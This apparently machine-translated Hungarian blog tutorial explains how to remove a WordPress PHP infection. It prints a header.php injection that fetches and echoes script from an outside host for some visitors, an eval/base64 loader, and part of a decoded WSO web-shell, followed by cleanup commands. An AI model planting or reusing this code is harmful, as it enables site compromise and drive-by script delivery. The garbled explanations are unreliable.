eltávolít WordPress PHP Virus

Ez az oktatóanyag egy speciális esetet mutat be, amikor egy blog WordPress fertőzött volt. Eltávolítás WordPress PHP vírus.

A minap észrevettem egy gyanús kódot, amely PHP vírusnak tűnik WordPress. A következő PHP-kód volt jelen a header.php, a sor előtt </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Ez egy olyan PHP-kód, amely úgy néz ki, mintha egy erőforrás tartalmát próbálná lekérni egy külső szerverről, de az URL-re hivatkozó rész hiányos.

A működési mechanizmus valamivel összetettebb, és ezt teszi WordPress A PHP vírus láthatatlan az érintett webhelyek látogatói számára. Ehelyett a keresőmotorokat (Google) célozza meg, és implicit módon az érintett webhelyek látogatóinak számának jelentős csökkenéséhez vezet.

A rosszindulatú program részletei WordPress PHP Virus

1. A fenti kód benne van header.php.

2. Egy fájl jelent meg a szerveren wp-log.php a mappában wp-includes.

3. wp-log.php titkosított kódot tartalmaz, de viszonylag könnyen visszafejthető.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

A rosszindulatú programkód visszafejtése innen wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Úgy tűnik, hogy ez egy rosszindulatú PHP-szkript, amely kódot tartalmaz a kiszolgálón lévő fájlokon és könyvtárakon végzett hitelesítés és műveletek kezelésére. Nagyon könnyen belátható, hogy ez a szkript olyan változókat tartalmaz, mint pl $auth_pass (hitelesítési jelszó), $default_action (az alapértelmezett művelet), $default_use_ajax (alapértelmezés szerint Ajaxot használ) és $default_charset (alapértelmezett karakterbeállítás).

Nyilvánvaló, hogy ennek a szkriptnek van egy része, amely ellenőrzi a HTTP felhasználói ügynököket, hogy blokkolják a hozzáférést bizonyos webbotokhoz, például keresőmotorokhoz. Van egy szakasza is, amely ellenőrzi a PHP biztonsági módját és beállít bizonyos munkakönyvtárakat.

4. Ha a böngészőben elérjük a wp-log.php fájlt, megjelenik egy weboldal a következő mezővel bejelentkezés. Első pillantásra úgy tűnik, hogy ez egy fájlkezelő, amelyen keresztül az új fájlok könnyen feltölthetők a célkiszolgálóra.

Hogyan lehet vírusmentesíteni egy webhelyet WordPress?

A kézi vírusmentesítési folyamat mindig magában foglalja a biztonsági rés felfedezését és megértését.

1. Készítsen biztonsági másolatot a teljes webhelyről. Ennek tartalmaznia kell mind a fájlokat, mind az adatbázist.

2. Határozza meg hozzávetőlegesen, hogy mennyi ideig létezik a vírus, és a hozzávetőleges időkereten belül keressen módosított vagy újonnan létrehozott fájlokat a webszerveren.

Például, ha látni szeretné a fájlokat .php az elmúlt héten hozta létre vagy módosította, futtassa a parancsot a szerveren:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Ez egy egyszerű módszer, amellyel feltárhatja a fájlokat WordPress fertőzött és rosszindulatú programkódot tartalmazók.

3. Ellenőrizze a fájlt .htaccess a gyanús irányelvek közül. Engedélysorok vagy szkript végrehajtása.

4. Ellenőrizze az adatbázist. Nagyon valószínű, hogy egyes bejegyzések és oldalak WordPress szerkeszthető rosszindulatú programokkal vagy újak hozzáadásával szerepkörrel rendelkező felhasználók administrator.

5. Ellenőrizze a mappák és fájlok írási engedélyeit. chmod şi chown.

Az ajánlott engedélyek: 644 fájlokhoz és 755 könyvtárakhoz.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Frissítse az összeset WordPress Plugins / WordPress Themes.

Kapcsolódó: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Ezek „alapvető” módszerek, amelyekkel vírusmentesítheti a webhelyet/blogot WordPress. Ha problémái vannak, és segítségre van szüksége, a megjegyzés rovat megnyílik.

Technológiai rajongóként örömmel írok a StealthSettings.com-on 2006 óta. Széles körű tapasztalatom van operációs rendszerekkel: macOS, Windows és Linux, valamint programozási nyelvekkel és blogolási platformokkal (WordPress) és online áruház platformokkal (WooCommerce, Magento, PrestaShop).

Hogyan » WordPress » eltávolít WordPress PHP Virus
Írj hozzászólást